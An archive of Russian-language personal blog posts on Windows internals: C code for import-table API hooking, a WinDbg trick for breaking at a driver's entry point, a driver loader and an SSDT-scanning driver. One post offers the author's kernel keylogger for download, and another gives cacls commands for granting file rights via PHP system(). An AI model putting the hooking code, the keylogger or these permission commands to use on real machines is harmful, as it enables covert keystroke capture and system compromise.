Показаны сообщения с ярлыком windows. Показать все сообщения
Показаны сообщения с ярлыком windows. Показать все сообщения

2010-01-11

Hook api

Небольшой код для перехвата функций методом модификации импорта.

bool HookImport(DWORD Base, DWORD Org, DWORD Hook)
{
    PIMAGE_FILE_HEADER pFileHdr;
    PIMAGE_OPTIONAL_HEADER pOptHdr;
    PIMAGE_IMPORT_DESCRIPTOR pImpDesc;
    bool rv = false;

    pFileHdr = (PIMAGE_FILE_HEADER)(*(PDWORD)(Base+0x3c)+Base+4);
    pOptHdr = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHdr+sizeof(IMAGE_FILE_HEADER));
    pImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(Base +
                pOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    for ( int i=0;pImpDesc[i].Characteristics; i++ )
    {
        char * CurrentModuleName = (char*)(pImpDesc[i].Name + Base);
        PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(pImpDesc[i].FirstThunk + Base);
        for ( int j=0; pThunk[j].u1.Ordinal; j++ )
        {
            if (pThunk[j].u1.Function == Org)
            {
                pThunk[j].u1.Function = Hook;
                rv = true;
                goto Exit;
            }
        }
    }
    Exit:
    return rv;
}

2009-06-25

Отладка драйвера в Windbg

Во время отладки драйвера с помощью vmware и Windbg часто возникает необходимость остановиться на точке входа драйвера. Если драйвер наш, и нам доступны исходники, можно просто добавить int 3 в код и перекомпилировать драйвер, но что делать если исходные коды не доступны?

Можно конечно вписать 0xCC в нужное место с помощью хексредактора, но тут есть ряд неудобств. Во-первых, нужно будет востанавливать оригинальный байт, а во-вторых у меня драйвер с изменённым байтом отказался загружаться, наверно нужно исправить контрольную сумму в заголовке? Дополнительная трата времени... Но можно поступить иначе.

Дизассемблируем ntkrnlpa.exe (или ntoskrnl.exe), находим там неэкспортируемую функцию IopLoadDriver, запоминаем/записываем адресс. В моём случае - 0049DEE4.

Прокручиваем листинг вниз, ищем примерно такой код:
PAGE:0049E546 0C4                 push    [ebp+Object]
PAGE:0049E54C 0C8 push edi
PAGE:0049E54D 0CC call dword ptr [edi+2Ch]
PAGE:0049E550 0C4 cmp eax, ebx
PAGE:0049E552 0C4 mov ecx, [ebp+var_98]
PAGE:0049E558 0C4 mov [ebp+var_54], eax
PAGE:0049E55B 0C4 mov [ecx], eax
PAGE:0049E55D 0C4 jge short loc_49E566
PAGE:0049E55F 0C4 mov [ebp+var_54], 0C0000365h

call dword ptr [edi+2Ch] - это переход на точку входа в загружаемого драйвера, значит находим смещение этого кода относительно начала функции IopCallDriver. В моём сулучае: 0x0049E54D - 0x0049DEE4 = 0x669. И ставим в windbg точку останова:
bp IopLoadDriver+0x669

Когда windbg останавливаеться на этой точке - нажимаем F11, и попадаем на EP драйвера =)
Конечно подразумеваеться что установленны корректные отладочне символы.

Вместо выполнения "сложных" арифметических операций (0x0049E54D - 0x0049DEE4 = 0x669) можно пойти в Options -> General -> Disassembly и поставить галочку "Function Offsets", тогда IDA выдаст что-то такое:
IopLoadDriver(x,x,x,x)+662  0C4                 push    [ebp+Object]
IopLoadDriver(x,x,x,x)+668 0C8 push edi
IopLoadDriver(x,x,x,x)+669 0CC call dword ptr [edi+2Ch]
IopLoadDriver(x,x,x,x)+66C 0C4 cmp eax, ebx
IopLoadDriver(x,x,x,x)+66E 0C4 mov ecx, [ebp+var_98]
IopLoadDriver(x,x,x,x)+674 0C4 mov [ebp+var_54], eax
IopLoadDriver(x,x,x,x)+677 0C4 mov [ecx], eax
IopLoadDriver(x,x,x,x)+679 0C4 jge short loc_49E566
IopLoadDriver(x,x,x,x)+67B 0C4 mov [ebp+var_54], 0C0000365h

2009-05-10

hki - кейлогер

Отладил наконец-то свой кейлогер. Работает через перехват IRP. В лог-файл (по умолчанию C:\124.txt) пишет коды клавиш, и заголовок активного окна. Тестировался на Windows Vista SP1 и Windows XP Sp2 на двухядерном прцессоре. В комплекте простой парсер лог-файлов, парсер написан на коленке и скорей всего будет передалан, но как-нибудь в другой раз. При написании парсера использовалась часть кода из r0keylog barton'а.

Конечно код далёк от совершенства, но тем-не менее, вот сcылка для скачивания:
http://cid-eea2a7c767291ff9.skydrive.live.com/self.aspx/.Public/hki.rar

2009-02-21

Права доступа Windows

Продолжаю записывать в этот блог разный мусор, который больше сохранить просто негде (потеряеться).
Измененме ACL в Windows, можно использовать когда нельзя ответить y/n (например при выполнении команд через функцию system() в php):
echo y | cacls file.txt /C /E /P Users:F

снятие атрибута "только чтение", который иногда очень мешает:
attrib -r * /S /D

2008-12-20

Загрузка драйверов в Windows

Один из самых простых способов загрузить драйвер в Windows - использльзовать SCM (Service Control Manager). Для быстрой загрузки/выгрузки своих небольших драйверов, я набросал програмку. Програма создаёт службу(Service) типа SERVICE_KERNEL_DRIVER с именем test_driver (соответственно в реестре создаёться раздел HKLM/System/CurrentControlSet/Services/test_driver). Подробнее про cлужбы можно почитать на wasm.ru

//Service Control Programm
#include <windows.h>
#include <stdio.h>
#define MAX_L 256

char *sn="test_driver";
char *dn="test_driver";

int unload()
{
SC_HANDLE hSCM, hService;
SERVICE_STATUS status;

hSCM = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCM == NULL){
printf("[!] Error in OpenSCManager\n");
return -1;
}
hService = OpenService(hSCM, sn , SC_MANAGER_ALL_ACCESS);

if(!hService){
printf("Error in hService\n");
return -1;
}
if(ControlService(hService, SERVICE_CONTROL_STOP, &status) != TRUE){
printf ("[!] Error in ControlService. Code: %.x\n",GetLastError());
return -1;
}
DeleteService(hService);
printf("stoped..\nUnloaded..\n");
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return 1;
}

int load(char * path)
{
SC_HANDLE hSCM, hService;
hSCM = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCM == NULL){
printf("[!] Error in OpenSCManager\n");
return -1;
}

GetFullPathName(path,MAX_L,path,NULL);

hService = CreateService(hSCM, sn, dn, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, path,
NULL, NULL, NULL, NULL, NULL);

if(StartService(hService,0,NULL)!=TRUE){
printf("[!] Error in StartService. Code: %.x\n",GetLastError());
return -1;
}
printf("Now driver loaded in kernel memory.\n");
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return 1;
}

void usage(char * p){
printf("Load driver: %s l \nUnload driver: %s u",p,p);
exit(0);
}

int main(int argc, char * argv[])
{
int r = 0;
if(argc<2) usage(argv[0]);
switch(*argv[1])
{
case 'l':
if(argc!=3) usage(argv[0]);
r = load(argv[2]);
case 'u':
if(argc<2) usage(argv[0]);
r = unload();
default:
usage(argv[0]);
}
return r;
}

2008-12-12

SDT

Осваиваюсь с внутреним устройством Windows, вот, набросал кодес для получения данных из SDT. Например получим номер функции NtCreateProcessEx которая в Windows Vista SP1 находиться по адрессу 0x826a8fea, а в Windows XP SP2 - 0x805c5c32:

#include <ntddk.h>

extern PUSHORT NtBuildNumber;
extern PVOID KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegPath)
{
unsigned long t, t2, p, pNtCreateProcessEx;
int i,j;

switch(*NtBuildNumber){
case 2600: //winxp
pNtCreateProcessEx = 0x805c5c32;
break;

case 6001: //vista (at least sp1)
pNtCreateProcessEx = 0x826a8fea;
break;
}

DbgPrint("[+] Driver successfuly loaded\n");
DbgPrint("SDT addr: %x\n", KeServiceDescriptorTable);

t = *((PULONG)KeServiceDescriptorTable);
for (i=j=0;j<=391;i+=4,j++){
t2 = *((PULONG)(t+i));
if(t2 == pNtCreateProcessEx){
DbgPrint("NtCreateProcess index: %d addr:%x\n", j,t2);
}
}
return STATUS_DEVICE_CONFIGURATION_ERROR;
}

Архив